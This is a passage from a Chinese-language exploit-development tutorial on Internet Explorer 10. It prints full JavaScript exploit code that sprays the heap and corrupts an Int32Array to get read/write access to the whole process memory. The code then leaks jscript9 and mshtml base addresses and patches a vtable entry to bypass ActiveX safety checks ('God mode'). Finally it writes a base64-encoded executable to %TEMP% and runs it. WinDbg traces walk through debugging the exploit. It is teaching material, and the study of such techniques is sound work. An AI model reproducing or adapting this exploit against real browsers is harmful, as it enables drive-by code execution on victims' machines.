    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>


在IE中打开该脚本,当提示对话框弹出来后,回到WinDbg中,将0c0af01b处的字节修改为0x20或者将0c00af018地址处的DWORD修改为0x20000000.然后关闭提示对话框,计算器应该就会弹出来.如果报错了的话(有可能发生,就像我们之前看到过的),不用担心,重复上述过程即可.







执行任意代码


我们看到了如何在受害者的机器上运行一个可执行程序了.现在,我们来看看如何执行任意代码.关键就是创建一个.exe文件,然后执行它.实现的代码如下:


<html>
<head>
<script language="javascript">
  // 以base64加密的exe文件的内容.
  runcalc = ... 将以base64加密的exe文件内容放到这里 ...
 
  function createExe(fname, data) {
    var tStream = new ActiveXObject("ADODB.Stream");
    var bStream = new ActiveXObject("ADODB.Stream");
    
    tStream.Type = 2;       // 文本
    bStream.Type = 1;       // 二进制
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 =  如果已经存在就覆盖之
    tStream.Close();
    bStream.Close();
  }
 
  function decode(b64Data) {
    var data = window.atob(b64Data);
    
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
  }
 
  shell = new ActiveXObject("WScript.shell");
  fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
  createExe(fname, decode(runcalc));
  shell.Exec(fname);
</script>
</head>
<body>
</body>
</html>


我这里就不介绍这段代码的具体细节了,因为具体细节并不是很有意思.




首先,我们来创建一个小巧应用程序,它要做的就是弹出一个计算器.在实际应用过程中,我们可能需要编写更有趣和有用的功能,当然,作为一个范例的话,弹出一个计算器就够了.




用Visual
Studio 2013创建一个C/C++ Win32工程,输入以下代码:


#include "windows.h"
int CALLBACK WinMain(
       _In_  HINSTANCE hInstance,
       _In_  HINSTANCE hPrevInstance,
       _In_  LPSTR lpCmdLine,
       _In_  int nCmdShow) {
       WinExec("calc.exe", SW_SHOW);
       return 0;
}





像下面这样更改该工程的属性:


●  [Release]


●  配置属性


●  C/C++


●  代码生成


●  运行库:多线程(/MT)


这将确定运行库是静态链接的(我们想要该exe文件可以单独运行).编译Release版本,你应该得到一个75-KB的文件.我这里命名的是runcalc.exe.


现在通过一个小巧的Python脚本以base64编码该runcalc.exe:


import base64

with open(r'c:\runcalc.exe', 'rb') as f:
  print(base64.b64encode(f.read()))


现在将编码后的数据复制并粘贴到上面的javascript代码中,你将得到


runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA <省略> AAAAAAAAAAAAAAAAAA';



我们将该字符串中间的部分省略了,因为该字符串太长了,你可以从附件中下载runcalc.


在IE中打开该html文件,你会看到计算器并没有弹出来.我们来看看哪里出错了,打开开发者工具(F12),来到控制台标签页,然后刷新该页面.我们将看到:





问题出在ADODB.Stream本质上不够安全,所以微软决定在IE浏览器中禁用掉ADODB.Stream.现在我们通过一个小工具(名称为ACM)来重新启用它.


(ACM下载地址为: http://www.nirsoft.net/utils/acm.html)


安装ACM,然后运行它,像下图显示的这样启用ADODB.Stream:





现在重新启动IE,再次打开该html文件.这次计算器将弹出来.





问题还没有结束,很不幸.


从http://www.analogx.com/contents/download/Network/sswww/Freeware.htm这个地址下载一个叫做SimpleServer:WWW的小工具.


我们将使用这个小工具来运行该html页面,它作为一个web服务器提供服务.这个小工具很容易配置.仅仅需要在桌面上面创建一个叫做WebDir的文件夹,将html文件拷贝到该文件夹中,然后运行这个小工具,像下图这样选择该html文件:





然后点击Start按钮.现在打开IE浏览器,在127.0.0.1地址中打开该页面.计算器并没有弹出来.再次使用开发者工具来看看哪里出错了:





我们从一台服务器接收一个页面好像情况又有些不同了.


像下图显示的这样更改一下配置:





重新加载该页面,你将看到另一个错误:





好了,现在是时候来解决所有的这些问题了.重置IE所有的设置选项,用ACM小工具禁用掉ADODB.Stream.我们将用的完整代码如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte ArrayBuffer (buf)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // 必须为恰好为0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 00000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    alert("Set byte at 0c0af01b to 0x20");
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x1b0c || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // 上帝模式
    //---------
    
    // 从0c0af000地址处我们可以读取Int32Array的虚表指针.
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3718
    jscript9 = read(0x0c0af000) - 0x3718;
    
    // 现在我们需要确定MSHTML的基地址.我们可以创建一个HTML
    // 对象,写入对应于我们其中一个数组的最后一个元素的引用(地址为0x0c0af000-4)
    // 定位位于0x0c0af000-4地址处的数组.                                         
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    //我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数字x
    //编码为2*x+1,这样就可以将地址(以dword对齐的)和数字区分开.
    //我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    //下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // 回头来确定MSHTML的基地址...
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x126e23
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x126e23;
 
    // 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
    //  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
    //  *jscript9+0xf4d84指向了代码"leave / ret 4".
    // 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
 
    var old = read(mshtml+0xc57750+0x14);
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    
    // 以base64加密的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAA <省略> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
    var tStream = new ActiveXObject("ADODB.Stream");
    var bStream = new ActiveXObject("ADODB.Stream");
 
    tStream.Type = 2;       // 文本
    bStream.Type = 1;       // 二进制
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 =  如果已经存在就覆盖之
    tStream.Close();
    bStream.Close();
    }
 
    function decode(b64Data) {
    var data = window.atob(b64Data);
 
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
    }
 
    shell = new ActiveXObject("WScript.shell");
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    write(mshtml+0xc57750+0x14, old);      // 关闭上帝模式!
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>



由于runcalc的值太长了,所有这里我省略了其中一部分.你可以从附件中下载完整的代码code1.


用SimpleServer作为该代码的服务器.在IE中转到127.0.0.1这个页面,Start消息框弹出来以后,我们关闭掉Start消息框,在WinDbg中将0c0af01b地址处的字节修改为0x20,然后运行起来.很不幸,IE崩溃在了这里:


5a88c44c 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_Dlg:
5a88c44d 8bff            mov     edi,edi
5a88c44f 55              push    ebp
5a88c450 8bec            mov     ebp,esp
5a88c452 b870100000      mov     eax,1070h
5a88c457 e8ba4be9ff      call    IEFRAME!_alloca_probe (5a721016)
5a88c45c a118c4c05a      mov     eax,dword ptr [IEFRAME!__security_cookie (5ac0c418)]
5a88c461 33c5            xor     eax,ebp
5a88c463 8945fc          mov     dword ptr [ebp-4],eax
5a88c466 53              push    ebx
5a88c467 33db            xor     ebx,ebx
5a88c469 57              push    edi
5a88c46a 8bf9            mov     edi,ecx
5a88c46c 399e78050000    cmp     dword ptr [esi+578h],ebx ds:002b:00000558=????????   <-------------------
5a88c472 0f8512723200    jne     IEFRAME!`Microsoft::WRL::Module<1,Microsoft::WRL::Details::DefaultModule<1> >::Create'::`2'::`dynamic atexit destructor for 'module''+0x8c49 (5abb368a)
5a88c478 c7867805000001000000 mov dword ptr [esi+578h],1
5a88c482 899e7c050000    mov     dword ptr [esi+57Ch],ebx
5a88c488 85ff            test    edi,edi
5a88c48a 0f858e1a0500    jne     IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x7c (5a8ddf1e)
5a88c490 8d85acefffff    lea     eax,[ebp-1054h]
5a88c496 50              push    eax
5a88c497 6a16            push    16h
5a88c499 899dacefffff    mov     dword ptr [ebp-1054h],ebx
5a88c49f ff15d846c15a    call    dword ptr [IEFRAME!_imp__IERegGetBool (5ac146d8)]
5a88c4a5 399dacefffff    cmp     dword ptr [ebp-1054h],ebx
5a88c4ab 0f85ef713200    jne     IEFRAME!`Microsoft::WRL::Module<1,Microsoft::WRL::Details::DefaultModule<1> >::Create'::`2'::`dynamic atexit destructor for 'module''+0x8c5f (5abb36a0)
5a88c4b1 399e7c050000    cmp     dword ptr [esi+57Ch],ebx
5a88c4b7 75c9            jne     IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x35 (5a88c482)
5a88c4b9 899e78050000    mov     dword ptr [esi+578h],ebx
5a88c4bf 8b4dfc          mov     ecx,dword ptr [ebp-4]
5a88c4c2 5f              pop     edi
5a88c4c3 33cd            xor     ecx,ebp
5a88c4c5 5b              pop     ebx
5a88c4c6 e83a4be9ff      call    IEFRAME!__security_check_cookie (5a721005)
5a88c4cb c9              leave
5a88c4cc c3              ret
5a88c4cd 90              nop
5a88c4ce 90              nop
5a88c4cf 90              nop
5a88c4d0 90              nop
5a88c4d1 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_CacheInfo:
5a88c4d2 8bff            mov     edi,edi
5a88c4d4 55              push    ebp
5a88c4d5 8bec            mov     ebp,esp
5a88c4d7 81eca8000000    sub     esp,0A8h
5a88c4dd a118c4c05a      mov     eax,dword ptr [IEFRAME!__security_cookie (5ac0c418)]
5a88c4e2 33c5            xor     eax,ebp


可能是我们的上帝模式有问题.我们按照下面这样修改我们的javascript代码以此来定位问题的所在:


    var old = read(mshtml+0xc57750+0x14);
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    alert("bp on " + (mshtml+0xc57750+0x14).toString(16));




我们仅仅是在上帝模式激活以后添加一个alert消息框.重新启动IE和WinDbg,重复上面的过程.


我感觉弹出的错误消息框有点多.我们来修改某些值,看看会不会好一点.修改如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte ArrayBuffer (buf)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {              //  <-------------从0x200变为0x300
      a[i] = new Array(0x3c00);
      if (i == 0x100)                          //  <-------------从0x80变为0x100
        buf = new ArrayBuffer(0x58);      // 必须为恰好为0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x300 + 0x400; ++i) {       //  <------------ 从0x200变为0x300
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 00000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    alert("Set byte at 0c0af01b to 0x20");
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x200; i < 0x300 + 0x400; ++i) {  //  <------------ 从0x200变为0x300
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }



喔,好多了!现在,这种方式更加稳定,至少在我的系统上.


最后,带有被修改虚表项地址的对话框弹了出来.我这里显示的是bp on 5a527764.我们来设置一个内存访问断点:





我们按F5,关闭刚刚弹出的对话框,断在了这里:


6d1f4d7a 5f              pop     edi
6d1f4d7b 5e              pop     esi
6d1f4d7c 33cd            xor     ecx,ebp
6d1f4d7e 5b              pop     ebx
6d1f4d7f e8bac5f0ff      call    jscript9!__security_check_cookie (6d10133e)
6d1f4d84 c9              leave    <-------------  我们在这里
6d1f4d85 c20400          ret     4



栈回溯如下:


0:007> k 5
ChildEBP RetAddr  
03e0bbb4 0555bfae jscript9!ScriptEngine::CanObjectRun+0xaf
03e0bc00 0555bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf
03e0bc44 0555bd69 jscript9!ScriptSite::CreateActiveXObject+0x56
03e0bc78 054c25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
03e0bcd0 054ccd4a jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6



OK,我们在CreateActiveXObject中,所以一切按它应该的那样.我们再次按F5.现在又断在了相同的指令处,但是这次栈回溯不太一样:


0:007> k 10
ChildEBP RetAddr  
03499f04 5a88c305 jscript9!ScriptEngine::CanObjectRun+0xaf
0349b1a0 5a8b4872 IEFRAME!CDocObjectHost::OnExec+0x403
0349b1d0 59b94f95 IEFRAME!CDocObjectHost::Exec+0x23d
0349b238 59b94ae3 MSHTML!CWindow::ShowErrorDialog+0x95
0349b37c 59b94980 MSHTML!COmWindowProxy::Fire_onerror+0xca
0349b5e8 59b94791 MSHTML!CMarkup::ReportScriptError+0x179
0349b66c 6d1f185c MSHTML!CActiveScriptHolder::OnScriptError+0x14e
0349b67c 6d1f2056 jscript9!ScriptEngine::OnScriptError+0x17
0349b698 6d1f1ff6 jscript9!ScriptSite::ReportError+0x56
0349b6a4 6d1f1fa0 jscript9!ScriptSite::HandleJavascriptException+0x1b
0349bf80 6d10bb78 jscript9!ScriptSite::CallRootFunction+0x6d
0349bfa8 6d154b6d jscript9!ScriptSite::Execute+0x61
0349c034 6d15474f jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
0349c0bc 6d154e34 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
0349c110 59d65b0b jscript9!ScriptEngine::ParseScriptText+0x5b
0349c148 59da9ad9 MSHTML!CActiveScriptHolder::ParseScriptText+0x42



再继续往下单步一会儿后,IE就又像之前一样崩溃了.看来是我们的上帝模式有问题.可能我们的问题出在,我们修改的虚表,它本身就被相同类型的所有对象所使用.所以,我们应该将原始虚表拷贝一份,然后将我们感兴趣的对象指向它.









IE10:
上帝模式(2)


修复上帝模式


不要着急动手,我们先来尝试一下定位崩溃点在哪里.为了找到崩溃点,我们先来添加一些alert(弹出消息框)语句:


    function createExe(fname, data) {
      alert("3");           // <------------------------------------------
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      alert("4");           // <------------------------------------------
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前两个字节 (它们是什么呢?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = 如果已经存在就覆盖之
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // 现在数据像这样子
      //   11 00 12 00 45 00 50 00 ...
      // 而不是像这样
      //   11 12 45 50 ...
      // 我们来修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    alert("1");         // <------------------------------------------
    shell = new ActiveXObject("WScript.shell");
    alert("2");         // <------------------------------------------
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    write(mshtml+0xc555e0+0x14, old);      // 关闭上帝模式!
 
    alert("All done!");


现在在IE中重新加载该页面(转到127.0.0.1),修改位于0xc0af000地址处的Int32Array的长度,看看会发生什么.你应该可以看到从1至3的三个alert消息框弹出来,然后就崩溃了.因此,我们可以得出结论,当我们执行以下指令的时候崩溃就会发生:


      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");



为什么Wscript.shell没有问题呢?


差异应该立马浮现在脑海中:ADODB.Stream是被微软禁用的!可能在jscript9!ScriptSite::CreateObjectFromProgID中发生些什么…我们来看一看.


重复上述过程,这次当第三个alert消息框出现时,给jscript9!ScriptSite::CreateObjectFromProgID设置一个断点.我们在CreateObjectFromProgID中单步一下:


jscript9!ScriptSite::CreateObjectFromProgID:
5bd448df 8bff            mov     edi,edi
5bd448e1 55              push    ebp
5bd448e2 8bec            mov     ebp,esp
5bd448e4 83ec34          sub     esp,34h
5bd448e7 a1cc52ee5b      mov     eax,dword ptr [jscript9!__security_cookie (5bee52cc)]
5bd448ec 33c5            xor     eax,ebp
5bd448ee 8945fc          mov     dword ptr [ebp-4],eax
5bd448f1 53              push    ebx
5bd448f2 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
5bd448f5 56              push    esi
5bd448f6 33c0            xor     eax,eax
5bd448f8 57              push    edi
5bd448f9 8b7d08          mov     edi,dword ptr [ebp+8]
5bd448fc 8bf2            mov     esi,edx
5bd448fe 8975dc          mov     dword ptr [ebp-24h],esi
5bd44901 8945cc          mov     dword ptr [ebp-34h],eax
5bd44904 897dd0          mov     dword ptr [ebp-30h],edi
5bd44907 8945d4          mov     dword ptr [ebp-2Ch],eax
5bd4490a 8945d8          mov     dword ptr [ebp-28h],eax
5bd4490d 8945e8          mov     dword ptr [ebp-18h],eax
5bd44910 85ff            test    edi,edi
5bd44912 0f8536b31400    jne     jscript9!memset+0xf45b (5be8fc4e)
 
jscript9!ScriptSite::CreateObjectFromProgID+0x39:
5bd44918 8b4604          mov     eax,dword ptr [esi+4]
5bd4491b e8d5000000      call    jscript9!ScriptEngine::InSafeMode (5bd449f5)
5bd44920 85c0            test    eax,eax
5bd44922 8d45ec          lea     eax,[ebp-14h]
5bd44925 50              push    eax
5bd44926 51              push    ecx
5bd44927 0f842cb31400    je      jscript9!memset+0xf466 (5be8fc59)
 
jscript9!ScriptSite::CreateObjectFromProgID+0x4e:
5bd4492d ff150830ed5b    call    dword ptr [jscript9!_imp__CLSIDFromProgID (5bed3008)]
 
jscript9!ScriptSite::CreateObjectFromProgID+0x54:
5bd44933 85c0            test    eax,eax
5bd44935 0f8889a6ffff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (5bd3efc4)
 
jscript9!ScriptSite::CreateObjectFromProgID+0x5c:
5bd4493b 8d45ec          lea     eax,[ebp-14h]
5bd4493e 50              push    eax
5bd4493f 8b4604          mov     eax,dword ptr [esi+4]
5bd44942 e8c1000000      call    jscript9!ScriptEngine::CanCreateObject (5bd44a08)   <----------------------
5bd44947 85c0            test    eax,eax    <----------------  EAX = 0
5bd44949 0f8475a6ffff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (5bd3efc4) <----- je跳转成立!
 
jscript9!ScriptSite::CreateObjectFromProgID+0x70:
5bd4494f 6a05            push    5
5bd44951 58              pop     eax
5bd44952 85ff            test    edi,edi
5bd44954 0f850ab31400    jne     jscript9!memset+0xf471 (5be8fc64)
 
jscript9!ScriptSite::CreateObjectFromProgID+0x7b:
5bd4495a 8d4de4          lea     ecx,[ebp-1Ch]
5bd4495d 51              push    ecx
5bd4495e 681c8ad95b      push    offset jscript9!IID_IClassFactory (5bd98a1c)
5bd44963 ff75e8          push    dword ptr [ebp-18h]
5bd44966 50              push    eax
5bd44967 8d45ec          lea     eax,[ebp-14h]
5bd4496a 50              push    eax
5bd4496b ff150430ed5b    call    dword ptr [jscript9!_imp__CoGetClassObject (5bed3004)]
5bd44971 85c0            test    eax,eax
5bd44973 0f884ba6ffff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (5bd3efc4)
 
jscript9!ScriptSite::CreateObjectFromProgID+0x96:
5bd44979 8b45e4          mov     eax,dword ptr [ebp-1Ch]
5bd4497c 8b08            mov     ecx,dword ptr [eax]
5bd4497e 8d55e0          lea     edx,[ebp-20h]
5bd44981 52              push    edx
5bd44982 68e049d45b      push    offset jscript9!IID_IClassFactoryEx (5bd449e0)
5bd44987 50              push    eax
5bd44988 ff11            call    dword ptr [ecx]
5bd4498a 85c0            test    eax,eax
5bd4498c 8b45e4          mov     eax,dword ptr [ebp-1Ch]
5bd4498f 8b08            mov     ecx,dword ptr [eax]
5bd44991 0f89fbb21400    jns     jscript9!memset+0xf49f (5be8fc92)
 
jscript9!ScriptSite::CreateObjectFromProgID+0xb4:
5bd44997 53              push    ebx
5bd44998 681c13c55b      push    offset jscript9!IID_IUnknown (5bc5131c)
5bd4499d 6a00            push    0
5bd4499f 50              push    eax
5bd449a0 ff510c          call    dword ptr [ecx+0Ch]
5bd449a3 8bf0            mov     esi,eax
5bd449a5 8b45e4          mov     eax,dword ptr [ebp-1Ch]
5bd449a8 8b08            mov     ecx,dword ptr [eax]
5bd449aa 50              push    eax
5bd449ab ff5108          call    dword ptr [ecx+8]
5bd449ae 85f6            test    esi,esi
5bd449b0 7818            js      jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (5bd449ca)
 
jscript9!ScriptSite::CreateObjectFromProgID+0xcf:
5bd449b2 8b4ddc          mov     ecx,dword ptr [ebp-24h]
5bd449b5 ff33            push    dword ptr [ebx]
5bd449b7 8b4904          mov     ecx,dword ptr [ecx+4]
5bd449ba 8d55ec          lea     edx,[ebp-14h]
5bd449bd e813030000      call    jscript9!ScriptEngine::CanObjectRun (5bd44cd5)
5bd449c2 85c0            test    eax,eax
5bd449c4 0f84ab1f0700    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (5bdb6975)
 
jscript9!ScriptSite::CreateObjectFromProgID+0xe3:
5bd449ca 8b4dfc          mov     ecx,dword ptr [ebp-4]
5bd449cd 5f              pop     edi
5bd449ce 8bc6            mov     eax,esi
5bd449d0 5e              pop     esi
5bd449d1 33cd            xor     ecx,ebp
5bd449d3 5b              pop     ebx
5bd449d4 e865c9f0ff      call    jscript9!__security_check_cookie (5bc5133e)
5bd449d9 c9              leave
5bd449da c20800          ret     8


正如我们所看到的,CanCreateObject返回0,我们熟悉的CanObjectRun不会被调用.如果我们强制让CanCreateObject返回true(EAX=1)会发生什么呢?尝试重复上面整个过程,不过这次,在调用CanCreateObject的指令之后,将EAX设置为1(用r eax=1).记住你需要这样做两次,因为我们创建了两个ADODB.Stream对象.


现在第4个alert消息框出现了,我们关闭它之后,崩溃了.(PS:我这里并没有崩溃,弹出了计算器)为什么我们不在必要的时候开启上帝模式呢?我们按照下面的样子修改代码:


  var old = read(mshtml+0xc57750+0x14);
    
    // 以base64加密的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AA <省略> AAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      write(mshtml+0xc57750+0x14, old);                   // 关闭上帝模式!
 
    tStream.Type = 2;       // 文本
    bStream.Type = 1;       // 二进制
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
